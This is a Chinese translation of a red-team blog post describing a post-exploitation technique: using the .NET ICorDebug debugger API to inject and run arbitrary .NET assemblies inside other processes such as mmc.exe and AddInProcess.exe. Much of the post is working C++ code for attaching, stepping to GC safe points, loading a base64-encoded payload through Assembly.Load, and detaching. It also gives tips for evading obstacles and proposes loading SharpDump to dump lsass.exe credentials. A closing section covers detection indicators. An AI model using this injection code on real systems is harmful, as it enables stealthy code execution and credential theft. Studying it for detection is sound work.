前言

用于后开发的.NET仍然存在。它已与大多数C2框架捆绑在一起,移植了通用工具,添加(然后绕过了)AMSI,并且使用很多妙招来启动非托管代码。但是,加载.NET程序集的过程似乎非常一致。

众所周知,像Cobalt Strike中execute-assembly这样的工具极大地提高了从内存中加载.NET程序集的可访问性,很多攻击者在Github上发布代码时都以或这或那的方式使用它。基于这种趋势,蓝队自然而然善于寻找遗留在内存中的文件。但是,作为红队,我们仍然发现,不管目标是托管还是非托管进程,在进程内启动.NET代码的方法似乎一成不变。例如,如果我们希望将代码注入到进程中,那么,即使目标已经是加载了CLR的.NET进程,我们通常采用的路径也是相同的:

这已经困扰了我好多年,所以我花了几个晚上研究可以更改签名的潜在方法。我的目标很简单,就是尝试找到一种在.NET进程中直接调用.NET方法的方法,不必费尽心思将Shellcode或rDLL注入非托管空间,而是另辟蹊径,通过CLR接口来加载. NET程序集。(作者写的这个rdll是个什么东东,老夫查了半天没查出来,见笑了……)

这篇文章将探讨实现此目标的一种潜在性,通过利用Windows公开的调试框架,我们可以看到使用调试API在目标进程中调用任意.NET代码所需要的内容。

ICorDebug简介

正如我们大多数人在Visual Studio中所见,.NET公开了强大的调试功能,使人们能够在附加的进程中执行代码:

在我脑海中已初步构建一种在.NET进程中执行特定函数的简单方法,但是,有那么一种方法可以模拟此功能,使得.NET进程中的代码可以执行而不必加载shellcode和全部.NET程序集吗?我所希望的是某种类似DebuggerEvaluateCSharpInThisProcess的方法,但是,并不存在。。。又但是,我们可以利用一个文档齐全(尽管非常复杂)的API,然后以编程方式来利用.NET调试的功能。

ICorDebug是.NET调试的切入点,并提供了很多函数,使我们可以控制.NET进程。让我们从设计一个简单的调试器开始,将其附加到我们选择的进程中,从而开始探索此API。

创建一个调试器

我们要做的第一件事是新建一个ICorDebug实例。使用与当前.NET注入方法完全相同的调用,我们首先选择.NET框架的安装版本:

if ((hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID *)&metaHost)) != S_OK)
{
  return hr;
}
if ((hr = metaHost->EnumerateInstalledRuntimes(&runtime)) != S_OK)
{
  return hr;
}
frameworkName = (LPWSTR)LocalAlloc(LPTR, 2048);
if (frameworkName == NULL)
{
  return E_OUTOFMEMORY;
}
while (runtime->Next(1, &enumRuntime, 0) == S_OK)
{
  if (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK)
  {
    if (runtimeInfo != NULL)
    {
      runtimeInfo->GetVersionString(frameworkName, &bytes);
      wprintf(L"[*] Supported Framework: %s\\n", frameworkName);
    }
  }
}

不同之处在于,一旦我们确定了要使用的运行时间后,就会初始化该ICorDebug接口实例;而不是像通常那样,从注入的DLL直接运行.NET代码,然后再请求一个ICLRRuntimeHost实例。此处的主要区别在于,我们把要执行的shellcode附加到另一个.NET进程,而不需要将之注入非托管空间再加载CLR那么麻烦。

我们使用以下内容来创建一个ICorDebug实例:

// Create our debugging interface
ICorDebug *debug;
ICorDebugProcess *process;
if ((hr = runtimeInfo->GetInterface(CLSID_CLRDebuggingLegacy, IID_ICorDebug, (LPVOID *)&debug)) != S_OK)
{
  return hr;
}
// Initialise the debugger
debug->Initialize();
// Attach to an existing process by PID
debug->DebugActiveProcess(1234, false, &process);

现在我们已经初始化了接口,这里暂停一下喝杯茶,然后解释一下此调试框架实际上如何与我们的目标流程交互的。首先看看对所公开的各个组件进行高层次概述:

这乍看之下可能有点抽象(我第一次使用API时,阅读了无数遍文档才看懂),但是值得一提的是,调试器API将首先响应从目标进程触发的调试事件。例如,如果引发异常,例如将新程序集加载到目标中或创建了新线程,我们将收到一个事件。并且,每次触发事件时,我们都有机会与进入“stopped”状态的目标进行交互,然后才最终恢复执行并等待其他事件。

通常,当我们与调试的.NET进程进行交互时,该进程需要处于stopped状态。如果与正在运行的进程进行交互的话,就会报错如下:

要在事件之外手动停止和恢复进程,我们可以调用ICorDebugController方法实现:

// Stop execution of our target
debug->Stop(0);
// Resume execution of our target
debug->Continue(0);

既然我们对所要干的事有了进一步了解,下一步就需要处理那些在连接到目标的整个过程中将发生的异步事件。为此,我们设计一个可以同时实现ICorDebugManagedCallbackICorDebugManagedCallback2接口的类,如下所示:

class ManagedCallback : public ICorDebugManagedCallback, public ICorDebugManagedCallback2
{
  ...
}

所有回调事件的说明文档

本文不会每一个都详细介绍,因为我们只需要关心其中的少数几个,即可实现将代码注入.NET进程的目的。为了清楚起见,让我们快速看一下如何处理诸如触发断点之类的事件:

HRESULT ManagedCallback::Breakpoint(ICorDebugAppDomain *pAppDomain, ICorDebugThread *pThread, ICorDebugBreakpoint *pBreakpoint)
{
  // Execution of the target is stopped when we enter this event handler
  // Here we can do whatever we want (within reason ;)
  //
    DoSomethingInteresting();
  //
  // And we then resume execution before returning from our event handler
  pAppDomain->Continue(false);
  return S_OK;
}

如上所述,每次调用托管回调方法时,目标都会停止执行,但我们可以使用Continue(...)函数来恢复执行。如果不做这一步的话,目标基本上啥也干不了。

构建托管回调类之后,需要使用以下命令将其与我们的ICorDebug对象相关联:

ManagedCallback* handler = new ManagedCallback();
return debug->SetManagedHandler(handler);

至此,调试器已准备就绪。现在,我们只需要构造一些东西,以便在目标中执行任意代码。

注入什么?

从简单开始,首先调用.NET方法,该方法将将程序集从磁盘加载到目标进程中。为此,我们将尝试远程调用Assembly.LoadFile方法,该方法具有以下签名:

public static System.Reflection.Assembly LoadFile (string path);

要在.NET进程中调用任何代码,我们需要一个ICorDebugEval接口的实例,顾名思义,它公开了在目标.NET运行时内评估代码所需的几种方法。

方法之一是ICorDebugEval::CallFunction,该方法允许我们直接调用一个.NET方法,在本例中就是直接调用Assembly.LoadFile方法。当然,我们还需要创建一个新System.String对象作为参数传递,可通过调用ICorDebugEval::NewString函数来完成。

但是,实际上在什么时候调用这些方法?事实证明,使用该ICorDebugEval接口的方式比较复杂,因为目标需要处于一种我们可以实际评估代码的状态。

如果我们尝试在错误的位置评估代码,则会收到如下错误:

图中0x80131c23错误GC unsafe point到底是什么意思?不幸的是,关于这个文档中并没有过多描述,但是经过一番百度之后,找到了一片文章,是这样解释的:

当JIT编译器编译方法时,它可以插入一个检查GC是否挂起的特殊函数的调用。如果是这样,线程将被挂起,GC将运行至结束,然后继续执行该线程。编译器插入这些方法调用的位置称为GC安全点。

因此,从本质上讲,我们需要以一种类似于进行垃圾回收的方式来安全地评估代码。

事实证明,盲目地寻找能够满足这一要求的时机可能很棘手(目标没有可用的源代码或PDB),但是我发现实现这一目标的较简单方法之一就是:使用ICorDebugStepper实例来逐步跟踪我们的附加进程。该接口使我们能够以与使用标准调试器时相同的方式逐步浏览托管代码。如果重复执行此操作,则最终可以找到一个评估所需.NET代码的安全点。

在实践中这种方法很有成效,但是当我们试图到达目标CLR正在将JIL设置为某个IL的点时,这意味着挂起的应用程序(或处于停滞状态的应用程序)不太可能使我们能够注入我们的代码。值得庆幸的是,有许多备用手段(以及我们稍后将讨论的一些COMPlus变量)使这一过程变得更加容易,我们将在下文介绍。

现在,在继续创建步进器之前,有必要重点介绍.NET应用程序的组件如何映射到调试器API,这将有助于我们稍后理解一些POC代码。它看起来像酱紫:

要创建步进器,我们需要找到一个与其关联的活动线程,可以通过使用ICorDebugProcess::EnumerateThreadsICorDebugAppDomain::EnumerateThreads函数来枚举现有线程,从而允许我们检索ICorDebugThread实例数组。

注意:尽管我们在这里讨论线程,但必须指出,它们是“托管线程”的表示形式,与我们通常处理的传统OS线程不同。不幸的是,这些术语在文档中通常没有区别,但是对于调试器API而言,这很重要。

通过收集活动线程列表,我们可以使用该ICorDebugThread::CreateStepper方法创建并关联步进器。

确保成功连接后,还要向目标进程可能产生的任何新线程添加步进器。当发生一些有趣的事件时,由于已经有了通过托管回调处理程序调用的方法,因此我们可以根据需要使用CreateThread事件添加其他步进器:

HRESULT ManagedCallback::CreateThread(ICorDebugAppDomain *pAppDomain, ICorDebugThread *thread)
{
  // Create a stepper
  ICorDebugStepper *stepper;
  thread->CreateStepper(&stepper);

  // Step through code
  stepper->Step(0);
// Continue execution of our assembly
  pAppDomain->Continue(false);
  return S_OK;
}

创建步进器后,在继续执行目标之前,将使用ICorDebugStepper::Step方法触发执行代码的步骤。一旦z这个触发点成功执行,就会通过事件再次提醒ManagedCallback::StepComplete处理程序。此时,我们尝试评估线程中的一些代码。

确定是否处于GC安全点的一个很好的起点是:尝试在目标进程中创建一个新的字符串对象,稍后将其用作Assembly.LoadFile调用的参数:

HRESULT ManagedCallback::StepComplete(ICorDebugAppDomain *pAppDomain, ICorDebugThread *pThread, ICorDebugStepper *pStepper, CorDebugStepReason reason)
{
  ICorDebugEval *eval;
  bool stepAgain = false;
// Create our eval instance
  if (pThread->CreateEval(&eval) != S_OK)
  {
    stepAgain = true;
  }
// Request a new string is created within the .NET process
  if (eval->NewString(L"C:\\test.dll") != S_OK)
  {
    // If we land here, chances are we aren't in a GC safe point, so we need 
    // to step again until we are
    stepAgain = true;
  }
// If we were unable to create our string, we continue stepping until we can
  if (stepAgain) {
    pStepper->Step(0);
  } else {
  // If we were successful, we stop our stepper as we no longer require it
    pStepper->Deactivate();
  }
// Continue our targets execution
  pAppDomain->Continue(false);
  return S_OK;
}

在这里,只是尝试使用ICorDebugEval::NewString方法在目标进程内创建System.String .NET对象。如果成功,可以确保我们处于GC安全点,这样就可以停止单步执行代码,而只要知道评估的代码可以工作,那就可以继续安全地执行应用程序。如果无法创建字符串,就要继续重试。

一旦我们能够成功执行该ICorDebugEval::NewString方法,接下来将等待调试器触发一个事件,该事件表明我们的评估已完成。这将通过API调用ManagedCallback::EvalComplete回调来完成。在这里,我们检索对创建的字符串的引用:

HRESULT ManagedCallback::EvalComplete(ICorDebugAppDomain *pAppDomain, ICorDebugThread *pThread, ICorDebugEval *pEval)
{
  // Will reference our System.String object
  ICorDebugValue *value;
// Retreive our System.String object reference
  if (pEval->GetResult(&value) != S_OK)
  {
    return S_OK;
  }
pAppDomain->Continue(false);
  return S_OK;
}

将字符串对象存储在内存中之后,接下来需要将字符串传递给.NET的Assembly.LoadFile方法。同样,我们可以通过ICorDebugEval函数来完成此操作,但是首先需要检索对该方法的引用。为此,我们使用了另一个接口IMetaDataImport。这使我们能够从正在运行的进程中枚举一系列有用的信息,包括目标内可用的类型和方法。

首先,我们需要检索对.NET System.Reflection.Assembly类的引用。为了简洁起见,我缩减了以下代码(完整的示例可以在文章结尾的POC中找到),但是检索类型引用看起来像这样:

HRESULT Debugger::FindAssemblyByName(ICorDebugAssembly **assembly, std::vector<ICorDebugAssembly *> *assemblies, std::wstring name)
{
  ULONG32 inputLen = 1024;
  WCHAR assemblyName[1024];
  ULONG32 outputLen = 0;
for (int i = 0; i < assemblies->size(); i++)
  {
    if (assemblies->at(i)->GetName(inputLen, &outputLen, assemblyName) == S_OK)
    {
      std::wstring asmName(assemblyName);
      if (asmName.find(name.c_str(), 0) != std::string::npos)
      {
        // We have found our target assembly
        *assembly = assemblies->at(i);
        return S_OK;
        }
      }
    }
    return E_FAIL;
  }
...
if (Debugger::FindAssemblyByName(&assembly, assemblies, "mscorlib.dll") != S_OK) {
  return E_FAIL;
}
if (Debugger::GetModules(&modules, assembly) != S_OK) {
  return E_FAIL;
}
modules->at(0)->GetMetaDataInterface(IID_IMetaDataImport, (IUnknown**)&metadata);
// Retrieve a reference to our type
hr = metadata->FindTypeDefByName("System.Runtime.Assembly", NULL, &typeDef);

一旦有了对.NET类的引用,我们就需要找到对LoadFile方法的引用:

if (!SUCCEEDED((hr = metadata->EnumMethods(&enumnum, typeDef, methodDefs, 1000, &count)))) {
  return E_FAIL;
}

for (auto methodDef : methodDefs)
{
  // Retrieve information on this method
  metadata->GetMethodProps(methodDef, &typeDef, name, 1024, &nameLen, &flags, &sig, &sigLen, &rva, &implFlags);

  // See if this matches 
  if (wcsncmp(L"LoadFile", name, 8 + 1) == 0)
  {
    module->GetFunctionFromToken(methodDef, function);
    return S_OK;
  }
}
return E_FAIL;

最后,一旦有了目标引用,就可以直接将方法与我们的字符串参数一起调用:

pEval->CallFunction(function, 1, &value);

此时,我们的代码将被加载并处于我们的目标进程中。剩下的就是从已加载的程序集中调用静态方法:

...
Debugger::FindMethod(&function, pAppDomain, L"test.dll", L"testnamespace.testmethod", L"Entry");

pEval->CallFunction(function, 0, NULL);
…

如果一切顺利,我们将看到恶意代码已加载并且注入的代码正在运行:

当然,现在从磁盘加载利用代码并不是一种理想的技术,那么使用该Assembly.Load方法从内存加载该程序有多容易呢?好了,只要我们可以调用所需的任何.NET方法,然后对ICorDebugEval回调的处理进行一些调整,综合起来就可以加载payload了,经过base64编码的payload如下:

// StepComplete Callback
//
// Load our Base64 encoded assembly string
if ((hr = eval->NewString(BASE64_ENCODED_ASSEMBLY)) != S_OK)
{
  pStepper->Step(0);
  return false;
}
...
// EvalComplete Callback 1
//
// Decode using System.Convert.FromBase64String
if (Debugger::FindMethod(&function, pAppDomain, L"mscorlib.dll", L"System.Convert", L"FromBase64String", 0) != S_OK)
{
  std::cout << "[!] Fatal: Could not find method System.Convert.FromBase64String in mscorlib.dll" << std::endl;
  exit(2);
}
pEval->CallFunction(function, 1, &value);
...
// EvalComplete Callback 2
//
// Use Assembly.Load to load our assembly in memory
if (Debugger::FindMethod(&function, pAppDomain, L"mscorlib.dll", L"System.Reflection.Assembly", L"Load", 7) != S_OK)
{
  std::cout << "[!] Fatal: Could not find method System.Reflection.Assembly.LoadFile in mscorlib.dll" << std::endl;
  exit(2);
}
pEval->CallFunction(function, 1, &value);

payload分离

至此,我们已经注入了代码,我们可以选择在执行恶意投标时将其绑定在目标进程上,或者使其分离调试器,继续自己执行(希望payload在内部运行)。

分离只是一个调用问题:

debug->Detach();

但是,如果要脱离目标并允许其继续执行而不会被杀死,则需要满足许多条件。主要包括:

停止当前连接到线程的所有步进器。
需要完成所有的代码评估。
我们必须处于同步状态,无论是通过调用ICorDebug::Stop方法,还是通过使之处于一个回调事件处理程序中。

第1项和第3项非常容易实现,但是我想谈谈第2项。让我们以一个非常简单的.NET方法为例,该方法要在目标中执行:

namespace Injected {
  class Injected {
    public static void Entry() {
      while(true) {
        Console.WriteLine("I'm in...");
        Thread.Sleep(2000);
      }
    }
  }
}

然后我们通过以下方式请求执行此代码:

pEval->CallFunction(function, 0, NULL);

我们会发现,我们无法彻底脱离进程。这是因为我们不满足要求2,因为我们的代码评估永远不会返回,因此EvalComplete永远不会发生回调。这意味着任何分离尝试都将遇到错误CORDBG_E_DETACH_FAILED_OUTSTANDING_EVALS

因此,我们必须时刻保证初始代码执行能够返回并且在尝试分离之前处理回调。话虽如此,让我们看一些典型目标的示例,以及如何使用它们执行一些常见的后渗透工具。

标准注入

为了在一个正在运行的进程中执行我们的代码,我们需要找到一个不会闲置的目标。因此需要一个非常活跃的进程,并推动代码进行JIT处理。

一个潜在选择是eventvwr.exe,它实际上会在加载.NET运行时生成mmc.exe。由于此进程积极地在后台处理事件,因此它成为此类技术的理想目标。

那么如何才能在此进程中执行.NET方法呢?首先生成事件查看器留待他用:

STARTUPINFOW si;
PROCESS_INFORMATION pi;
HRESULT hr;
memset(&si, 0, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
CreateProcessW(
    L"C:\\\\Windows\\\\System32\\\\eventvwr.exe",
    NULL,
    NULL,
    NULL,
    false,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &si,
    &pi);

现在我们已经生成了进程,我们需要使用以下ICorDebug::DebugActiveProcess方法来连接调试器:

ICorDebugProcess *process;
debug->DebugActiveProcess(PID, false, &process);

连接完成后,我们可以使用上述步骤来执行任意.NET方法,或者在本poc中,加载任意.NET程序集。让我们尝试加载SharpDump,以表明我们可以控制进程,并有望允许转储lsass.exe内存。
这里有个演示小视频

量身定制注入

在诸如eventvwr.exe之类的进程中,.NET的payload执行起来非常容易,我们还可以进一步针对目标进程本身进行定制注入。例如,其他.NET进程中,AddInProcess.exe可以和.NET框架绑定。如果我们把它拆分出来,会发现它有两个参数:

第一个参数是GUID,用于创建通过命名管道侦听的IPC服务器:

第二个参数是进程的PID,该进程将被监视并阻塞主线程,直到目标进程退出:

这意味着,尽管进程将处于闲置状态(因此不满足我们运行JIT'er的要求),但实际上我们可以附加一个调试器,然后与IPC服务建立连接以触发代码的JIT,用来把步进器方入GC安全点,最后达到注入代码目的。

对于此示例,让我们将代码注入到AddInProcess.exe,看看会发生什么。我们不会重定向I/O,而是会手动触发命名管道连接,因此您可以准确了解正在发生的情况:
又有一个小视频

payload构造并注入

通过注入现有进程,设计payload以触发特定应用程序状态从而允许注入。但是,如果只是想立即产生并注入一个新进程以迁移我们的恶意代码怎么办?使用ICorDebug公开的CreateProcessW包装器,这是完全可行的:

debug->CreateProcessW(
    L"C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\AddInUtil.exe",
    NULL,
    NULL,
    NULL,
    false,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &si,
    &pi,
    (CorDebugCreateProcessFlags)0,
    &this->process);

这里可以使用定制的参数(基于个人喜好),并使用新的父进程或缓解策略。这也使安全点搜寻变得轻松多了,因为在进程产生时,JIT'er会努力为我们提供充足的时间来达到GC安全点。

现在,在尝试在新的.NET进程中调用任意.NET方法时,需要考虑一些因素,主要是应用程序在运行payload的情况下的执行时间长度。毕竟,如果目标只是打印一些帮助然后就退出了,则注入payload并没有多大用处。

避免此限制的一种方法是制作.NET payload以生成其他托管线程。由于.NET支持后台和前台托管线程的概念,因此我们发现,即使Main()函数返回,生成的前台线程也会阻塞目标退出,继续运行注入的代码,直到达到我们想要的时间。

例如,让我们采用一个非常简单的.NET payload:

namespace Injected {
  class Injected {
    public static void ThreadEntry() {
      while(True) {
        Console.WriteLine("Injected... we're in!");
        Thread.Sleep(1000);
      }
    }
public static void Entry() {
      var thread = new System.Threading.Thread(new ThreadStart(ThreadEntry));
      thread.Start(); 
    }
  }
}

又有一个小视频

进一步改进

在前面的示例中,我尝试显示了在正确以及不进行任何CLR按摩的情况下,此技术在某些地方的可用性。但是,值得指出的是,有一些问题稍不注意可能会让我们功亏一篑,其中最主要的是ngen(或本机映像),它们是预编译JIT的二进制文件,已加载到.NET进程中,目的是加快执行速度。当我们遇到这个问题时,很明显,要达到可以评估所需的JIT编译代码的程度,我们的注入将变得非常困难。另外还有.NET优化进程,这将再次减少我们在某些进程中找到GC安全点的机会。

那么有什么办法可以避免这种情况?事实证明,使用COMPlus环境变量就可以了。具体有两种设置会增加我们在“顽固”进程中实现执行的几率:COMPlus_JITMinOptsCOMPlus_ZapDisable。实际上,与x64相比,x86进程似乎更需要这样设置。

POC

作为这篇文章的一部分,我发布了一个POC工具,可用于探索所讨论的一些概念,可以在Github上找到

编译后,将按以下方式启动POC:

DotNetDebug.exe attach mmc.exe
DotNetDebug.exe attachpid 1234
DotNetDebug.exe launch C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInProcess.exe

默认情况下,此POC将Assembly.Load在目标中执行,以暂存.NET程序集。该程序将依次从C:\Windows\Temp\inject.exe中加载代码。这将使您可以使用此技术来测试一些您最喜欢的现有工具,当然您可以执行想要的任何操作。

侦测

因此,现在我们有了一个思路,即如何使用调试器API在.NET进程中执行任意方法,我们需要考虑所有这些事情的幕后所发生的事情,以及防御者如何着手检测。我不会深入讲解太多关于Windows的调试子系统,已经有一个辉煌的一系列文档说明。相反,让我们看一些对检测有用的特定区域。

首先是流程之间的交互,例如,调试框架在附加到目标时会调用哪些值得注意的API?与大多数注入方法一样,在整个调试会话中都会大量使用WriteProcessMemory方法来修改目标进程。

其次,在远程进程中需要实际的线程来触发断点。在附加到现有进程的情况下,可以使用kernelbase!DebugActiveProcessAPI方法,但是如果在调用此方法时查看调用栈的栈底,则会发现以下内容:

ntdll!NtCreateThreadEx调用负责在远程进程中创建线程。用于此远程线程的入口点为ntdll!DbgUiRemoteBreakin,仅用于触发一个断点,该断点挂起目标并向我们的调试器发出事件。当然,这意味着基于传统分配的内存入口点来寻找注入的线程是行不通的,因为线程的初始地址是ntdll函数的地址,但是对特定的ntdll!DbgUiRemoteBreakin调用,则是成功以某种形式操作目标的好兆头。

此外,Sysmon将提供一个很好的CreateRemoteThread指示符来显示进入点,因为DbgUiRemoteBreakin对于防御者可能是一个很好的指示。

话虽如此,只有在现有进程中寻找执行.NET代码的情况下,情况才会如此。像上述最后一个示例所示,如果我们连接了调试器来启动一个新的.NET进程,则将看不到此远程线程的创建,因此也不会触发此检测机制。这是因为通过DEBUG_PROCESSCreateProcess选项来创建初始调试器会话,这意味着ntdll!NtCreateThreadEx从不使用该调用。但是,如果稍后使用诸如DebugBreakProcess这样的调用,则将导致与上文所述相同的远程线程签名。

接下来,我们还必须考虑到在调试过程时,可以使用几个API来表明正在连接的活动调试器(任何编写过反分析代码的人都会知道)。例如,使用目标进程句柄中的CheckRemoteDebuggerPresent调用将显示调试器会话是否处于活动状态。

诸如ProcessHacker之类的工具还可以通过突出显示进程来表明调试器会话的存在:

当然,只有在调试器会话处于活动状态时才适用。因此,如果代码已执行且调试器会话已停止,则情况将不再如此。

一些有用的参考

https://googleprojectzero.blogspot.com/2019/04/windows-exploitation-tricks-abusing.html
http://index-of.es/Windows/dbgk-1.pdf
https://mattwarren.org/2016/08/08/GC-Pauses-and-Safe-Points/
https://github.com/Samsung/netcoredbg

原文链接

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖